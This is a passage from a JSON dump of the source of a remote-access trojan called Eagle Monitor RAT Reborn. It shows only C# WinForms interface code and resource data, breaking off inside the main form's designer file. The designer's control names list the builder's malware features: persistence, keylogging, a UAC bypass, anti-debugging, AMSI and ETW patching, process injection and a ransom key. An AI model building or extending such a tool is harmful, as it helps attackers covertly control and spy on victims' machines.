AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8ZrHkT6Kd4GyMA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK97Dyat\n        ehFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/\n        ///////cH///gB///wAf//8Af//AgP//AAH//gAB58AAAecAAAAHQAAAB/gAAAf/AAAP/AAAAPgAAADg\n        AAAB5wAA//4AAP/8AAB/+AAAf/AAAH/wAAD/4AAB/+AAB//gDB//4B///+B////g////4f///+P////n\n        /////////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAQAACMuAAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRSEAFAAAAADEtLgsmJCcLIB8jAgAAAAAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaTkQZTkU/f0A7ODgwLS2RJCImhSAfIxAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAAAAAAAAgGdHA3FeSQlrWkksWE1Ea05FP/A/OjftMS0ueyckJyAAAAAAAAAAAAAAAAAA\n        AAAAAAAAAAAAAACXcjoMjm5BVoJnR5t2YEnDaFhIzl1RRW9ORj/zPzo3+DUxMSgAAAAAIB8jCSAfIxQA\n        AAAAwIAAK7R8B16oeBqAm3Mzn45uQbyCZ0bsdmBJ/2lZSP9cUEX4TkY/8z85N/8yLi+aIyElIi4nJn8o\n        IyVkAAAAAMiCAACyfAsmqHgaY5t0M3yObkGNgmdGvHVgSfFpWUj/XFBF/05GP/8/OTf/MCwt/yMiJf8p\n        JCX/IB8jQQAAAAAAAAAAAAAAAAAAAACXcjkSjW5BZoJnRq12YEnQaVlI9mdURP9cSz//U0I4/zwyL/8l\n        IybdQDk1vXxkRx29fwQHAAAAAK97DwKoeBtAm3Mzbo5uQbiCZ0bheGFJ53JbSP9cUEX/TkY//z85N/8x\n        LS7WLCkrq11QQ7uKaz6fr3sSVQAAAACwew4Cr3sPAJdyOhCNbkGMgmdG+nZhSf9pWUj/XVBF/09GP/8/\n        OTf/My8vlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR3JAuaczSHjm5B24JnRv12YEn/a1lI/2JSRf9b\n        Sz//V0Q5/zEtLtEnJSgZAAAAAAAAAAAAAAAAAAAAAAAAAACmdx9Sm3M0sI5uQcGCZ0bodmBJ/WlZSeZc\n        UEWQTkY/9VNCOP8xLi6wKCYoAwAAAAAAAAAAAAAAAAAAAACvew8Bp3gbgJtzM7qObkG+gmdG3HZhSZ5p\n        WUh1W09FwU5GP9RBOzhoNjIyAgAAAAAAAAAAAAAAAAAAAAAAAAAAsHsOEah4G5abdDKyj25ByYVpRS0A\n        AAAAZ1dIEl1QRSNUS0IBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7DiCoeBqenHQxtJNxPQ4A\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew4KqXkYo6F2KQcA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPCa16ERAA\n        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/6MAAP8DAAD4\n        BwAA4AkAAAABAAAAAQAA4AAAAIAAAACADwAAwAcAAMAHAACADwAAgj8AAIf/AACP/wAAn/8AAA==\n</value>\n  </data>\n</root>"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/CustomContextMenuStrip.cs",
    "content": "﻿using System.Drawing;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Controls\n{\n    internal class CustomContextMenuStrip : ContextMenuStrip\n    {\n        public CustomContextMenuStrip() : base()\n        {\n            this.Renderer = new ToolStripProfessionalRenderer(new LightMenuColorTable());\n        //    this.BackColor = Color.White;\n          //  this.ForeColor = Color.FromArgb(80, 80, 80);\n            SetStyle(ControlStyles.DoubleBuffer, true); \n            UpdateStyles();\n        }\n\n        private const int CS_DROPSHADOW = 0x00020000;\n        protected override CreateParams CreateParams\n        {\n            get\n            {\n                CreateParams cp = base.CreateParams;\n                //cp.ClassStyle |= CS_DROPSHADOW;  ADD\n                cp.ClassStyle &= ~ CS_DROPSHADOW; //REMOVE\n                return cp;\n            }\n        }\n\n        internal class LightMenuColorTable : ProfessionalColorTable\n        {\n            public LightMenuColorTable()\n            {\n                // see notes\n                base.UseSystemColors = false;\n            }\n            public override Color MenuBorder\n            {\n                get { return Color.FromArgb(240, 240, 240); }\n            }\n            public override Color MenuItemBorder\n            {\n                get { return Color.FromArgb(205, 151, 249); }\n                //get { return Color.White; }\n            }\n            public override Color MenuItemSelected\n            {\n                //94; 148; 255\n                get { return Color.FromArgb(205, 151, 249); }\n            }\n            public override Color MenuItemSelectedGradientBegin\n            {\n                get { return Color.FromArgb(240, 240, 240); }\n            }\n            public override Color MenuItemSelectedGradientEnd\n            {\n                get { return Color.FromArgb(240, 240, 240); }\n            }\n            public override Color MenuStripGradientBegin\n            {\n                get { return Color.FromArgb(240, 240, 240); }\n            }\n            public override Color MenuStripGradientEnd\n            {\n                get { return Color.FromArgb(240, 240, 240); }\n            }\n            public override Color ImageMarginGradientBegin\n            {\n                get { return Color.FromArgb(205, 151, 249); }\n            }\n            public override Color ImageMarginGradientMiddle\n            {\n                get { return Color.FromArgb(205, 151, 249); }\n            }\n            public override Color ImageMarginGradientEnd\n            {\n                get { return Color.FromArgb(205, 151, 249); }\n            }\n            public override Color ToolStripDropDownBackground\n            {\n                get { return Color.FromArgb(205, 151, 249); }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/FormPattern.cs",
    "content": "﻿using System;\nusing System.Drawing;\nusing System.Runtime.InteropServices;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Controls\n{\n    public class FormPattern : Form\n    {\n        //https://stackoverflow.com/questions/2575216/how-to-move-and-resize-a-form-without-a-border\n        public FormPattern()\n        {\n\n            this.FormBorderStyle = FormBorderStyle.None; // no borders\n            this.DoubleBuffered = true;\n            this.SetStyle(ControlStyles.ResizeRedraw | ControlStyles.OptimizedDoubleBuffer, true); // this is to avoid visual artifacts\n        }\n\n        private bool SizeableP = true;\n        private int HighB = 32;\n        private int OtherB = 3;\n        private Color C = Color.FromArgb(94, 148, 255);//ColorTranslator.FromHtml(\"#00adef\");\n        private Color C2 = Color.FromArgb(94, 148, 255);//ColorTranslator.FromHtml(\"#00adef\");\n\n        public Color BorderColor \n        {\n            get\n            {\n                return C;\n            }\n            set\n            {\n                C = value;\n                this.Refresh();\n            }\n        }\n\n        public Color TopBorderColor \n        {\n            get\n            {\n                return C2;\n            }\n            set\n            {\n                C2 = value;\n                this.Refresh();\n            }\n        }\n\n        private bool TopOnly = false;\n        public bool OnlyTopBorderSize \n        {\n            get\n            {\n                return TopOnly;\n            }\n            set\n            {\n                TopOnly = value;\n                this.Refresh();\n            }\n        }\n\n        public bool Sizeable\n        {\n            get\n            {\n                return SizeableP;\n            }\n            set\n            {\n                SizeableP = value;\n                this.Refresh();\n            }\n        }\n\n        public int HighBorder\n        {\n            get\n            {\n                return HighB;\n            }\n            set\n            {\n                HighB = value;\n                this.Refresh();\n            }\n        }\n        public int BordersSize\n        {\n            get\n            {\n                return OtherB;\n            }\n            set\n            {\n                OtherB = value;\n                this.Refresh();\n            }\n        }\n        protected override void OnPaint(PaintEventArgs e) // you can safely omit this method if you want\n        {\n            //Color C = ColorTranslator.FromHtml(\"#00adef\");\n\n            SolidBrush B = new SolidBrush(BorderColor);\n            SolidBrush C = new SolidBrush(TopBorderColor); \n            //e.Graphics.FillRectangle(Brushes.Green, Top);\n            e.Graphics.FillRectangle(C, Top);\n            e.Graphics.FillRectangle(B, Left);\n            e.Graphics.FillRectangle(B, Right);\n            e.Graphics.FillRectangle(B, Bottom);\n        }\n\n        private const int\n            HTLEFT = 10,\n            HTRIGHT = 11,\n            HTTOP = 12,\n            HTTOPLEFT = 13,\n            HTTOPRIGHT = 14,\n            HTBOTTOM = 15,\n            HTBOTTOMLEFT = 16,\n            HTBOTTOMRIGHT = 17;\n\n        const int _ = 3; // you can rename this variable if you like\n\n        new Rectangle Top { get { return new Rectangle(0, 0, this.ClientSize.Width, HighB); } }\n\n        new Rectangle Left { get { return new Rectangle(0, 0, OtherB, this.ClientSize.Height); } }\n\n        new Rectangle Bottom { get { return new Rectangle(0, this.ClientSize.Height - OtherB, this.ClientSize.Width, OtherB); } }\n\n        new Rectangle Right { get { return new Rectangle(this.ClientSize.Width - OtherB, 0, OtherB, this.ClientSize.Height); } }\n\n        Rectangle TopLeft { get { return new Rectangle(0, 0, OtherB, OtherB); } }\n        Rectangle TopRight { get { return new Rectangle(this.ClientSize.Width - OtherB, 0, OtherB, OtherB); } }\n        Rectangle BottomLeft { get { return new Rectangle(0, this.ClientSize.Height - OtherB, OtherB, OtherB); } }\n        Rectangle BottomRight { get { return new Rectangle(this.ClientSize.Width - OtherB, this.ClientSize.Height - OtherB, OtherB, OtherB); } }\n\n        new Padding Padding { get { return new Padding(OtherB, HighB, OtherB, OtherB); } }\n\n        [DllImport(\"user32.dll\")]\n        public extern static IntPtr SendMessage(IntPtr a, int msg, int wParam, int lParam);\n\n        private void InitializeComponent()\n        {\n            this.SuspendLayout();\n            // \n            // FormPattern\n            // \n            this.ClientSize = new System.Drawing.Size(262, 239);\n            this.Name = \"FormPattern\";\n            this.Load += new System.EventHandler(this.FormPattern_Load);\n            this.ResumeLayout(false);\n\n        }\n\n        private void FormPattern_Load(object sender, EventArgs e)\n        {\n\n        }\n\n        [DllImport(\"user32.dll\")]\n        public extern static bool ReleaseCapture();\n\n        public const int WM_NCLBUTTONDOWN = 0xA1;\n        public const int HT_CAPTION = 0x2;\n\n        protected override void WndProc(ref Message message)\n        {\n            try\n            {\n                base.WndProc(ref message);\n\n                if (message.Msg == 0x84) // WM_NCHITTEST\n                {\n                    if (SizeableP == true)\n                    {\n                        var cursor = this.PointToClient(Cursor.Position);\n\n                        if (TopLeft.Contains(cursor)) message.Result = (IntPtr)HTTOPLEFT;\n                        else if (TopRight.Contains(cursor)) message.Result = (IntPtr)HTTOPRIGHT;\n                        else if (BottomLeft.Contains(cursor)) message.Result = (IntPtr)HTBOTTOMLEFT;\n                        else if (BottomRight.Contains(cursor)) message.Result = (IntPtr)HTBOTTOMRIGHT;\n\n                        //else if (Top.Contains(cursor)) message.Result = (IntPtr)HTTOP;\n\n                        else if (Left.Contains(cursor)) message.Result = (IntPtr)HTLEFT;\n                        else if (Right.Contains(cursor)) message.Result = (IntPtr)HTRIGHT;\n                        else if (Bottom.Contains(cursor)) message.Result = (IntPtr)HTBOTTOM;\n                    }\n                }\n            }\n            catch {}     \n        }\n\n        protected override void OnMouseDown(MouseEventArgs e)\n        {\n\n            var cursor = this.PointToClient(Cursor.Position);\n\n            if (0 <= cursor.Y && cursor.Y <= 30)\n            {\n                MoveForm_();\n            }\n\n            base.OnMouseDown(e);\n        }\n        protected void MoveForm_()\n        {\n            ReleaseCapture();\n            SendMessage(this.FindForm().Handle, 161, 2, 0);\n        }\n        protected IntPtr MoveForm()\n        {\n            ReleaseCapture();\n            return SendMessage(this.FindForm().Handle, 161, 2, 0);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/FormPattern.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n</root>"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.Designer.cs",
    "content": "﻿namespace Eagle_Monitor_RAT_Reborn\n{\n    partial class MainForm\n    {\n        /// <summary>\n        /// Variable nécessaire au concepteur.\n        /// </summary>\n        private System.ComponentModel.IContainer components = null;\n\n        /// <summary>\n        /// Nettoyage des ressources utilisées.\n        /// </summary>\n        /// <param name=\"disposing\">true si les ressources managées doivent être supprimées ; sinon, false.</param>\n        protected override void Dispose(bool disposing)\n        {\n            if (disposing && (components != null))\n            {\n                components.Dispose();\n            }\n            base.Dispose(disposing);\n        }\n\n        #region Code généré par le Concepteur Windows Form\n\n        /// <summary>\n        /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas\n        /// le contenu de cette méthode avec l'éditeur de code.\n        /// </summary>\n        private void InitializeComponent()\n        {\n            this.components = new System.ComponentModel.Container();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle25 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle29 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle26 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle27 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle28 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle15 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle30 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle19 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(MainForm));\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle32 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle20 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle31 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle33 = new System.Windows.Forms.DataGridViewCellStyle();\n            System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle34 = new System.Windows.Forms.DataGridViewCellStyle();\n            this.mainGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage1 = new System.Windows.Forms.TabPage();\n            this.guna2VScrollBar1 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.clientDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column1 = new System.Windows.Forms.DataGridViewImageColumn();\n            this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column7 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column8 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column9 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column10 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.mainContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.loginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.clientContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.closeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.closeUninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.test123ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.test456ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.aboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.tabPage2 = new System.Windows.Forms.TabPage();\n            this.guna2Panel1 = new Guna.UI2.WinForms.Guna2Panel();\n            this.builderGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage6 = new System.Windows.Forms.TabPage();\n            this.addHostGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.hostsDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column22 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column23 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.hostContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.removeHostStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.label5 = new System.Windows.Forms.Label();\n            this.builderKeyGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.label2 = new System.Windows.Forms.Label();\n            this.portGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.label3 = new System.Windows.Forms.Label();\n            this.dnsGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.tabPage7 = new System.Windows.Forms.TabPage();\n            this.label21 = new System.Windows.Forms.Label();\n            this.archiGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.label20 = new System.Windows.Forms.Label();\n            this.persistenceMethodGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.label19 = new System.Windows.Forms.Label();\n            this.pathPersistenceGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.vbStubGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.offKeyloguna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.persistenceGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.tabPage8 = new System.Windows.Forms.TabPage();\n            this.randomizeGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.iconGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.pictureBox1 = new System.Windows.Forms.PictureBox();\n            this.label15 = new System.Windows.Forms.Label();\n            this.productGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.productVersionGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.label13 = new System.Windows.Forms.Label();\n            this.filenameGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.label12 = new System.Windows.Forms.Label();\n            this.fileVersionGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.label11 = new System.Windows.Forms.Label();\n            this.copyrightGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.label10 = new System.Windows.Forms.Label();\n            this.companyGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.label9 = new System.Windows.Forms.Label();\n            this.descriptionGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.label8 = new System.Windows.Forms.Label();\n            this.trademarksGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.label7 = new System.Windows.Forms.Label();\n            this.label14 = new System.Windows.Forms.Label();\n            this.tabPage13 = new System.Windows.Forms.TabPage();\n            this.guna2GroupBox3 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.bypassICMLuaUtilGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.antiDebugGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.erasePEHeadersGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.patchAMSIGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.patchETWGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.label4 = new System.Windows.Forms.Label();\n            this.tabPage9 = new System.Windows.Forms.TabPage();\n            this.buildLogsGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.buildGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.tosLicenseGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.label16 = new System.Windows.Forms.Label();\n            this.tabPage3 = new System.Windows.Forms.TabPage();\n            this.guna2Panel2 = new Guna.UI2.WinForms.Guna2Panel();\n            this.guna2VScrollBar2 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.logsDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column11 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column12 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column13 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column17 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column14 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column15 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column16 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.tabPage4 = new System.Windows.Forms.TabPage();\n            this.guna2Panel3 = new Guna.UI2.WinForms.Guna2Panel();\n            this.updateLogRichTextBox = new System.Windows.Forms.RichTextBox();\n            this.tabPage5 = new System.Windows.Forms.TabPage();\n            this.guna2Panel4 = new Guna.UI2.WinForms.Guna2Panel();\n            this.label22 = new System.Windows.Forms.Label();\n            this.notificationIconGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.ransomKeyGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.label18 = new System.Windows.Forms.Label();\n            this.bufferSizeGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.autoRemoveDownloadGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.processInjectionGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.label17 = new System.Windows.Forms.Label();\n            this.autoSaveRecoveryGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.flagsPackGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            this.label1 = new System.Windows.Forms.Label();\n            this.keyGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox();\n            this.notificationSoundGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox();\n            this.guna2GroupBox1 = new Guna.UI2.WinForms.Guna2GroupBox();\n            this.portListView = new System.Windows.Forms.ListView();\n            this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));\n            this.portContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip();\n            this.portRemoveStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.addToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();\n            this.tabPage10 = new System.Windows.Forms.TabPage();\n            this.label23 = new System.Windows.Forms.Label();\n            this.onConnectGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();\n            this.tabPage11 = new System.Windows.Forms.TabPage();\n            this.guna2VScrollBar3 = new Guna.UI2.WinForms.Guna2VScrollBar();\n            this.tasksDataGridView = new System.Windows.Forms.DataGridView();\n            this.Column20 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.Column21 = new System.Windows.Forms.DataGridViewTextBoxColumn();\n            this.tabPage12 = new System.Windows.Forms.TabPage();\n            this.addTaskGuna2Button = new Guna.UI2.WinForms.Guna2Button();\n            this.tasksGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox();\n            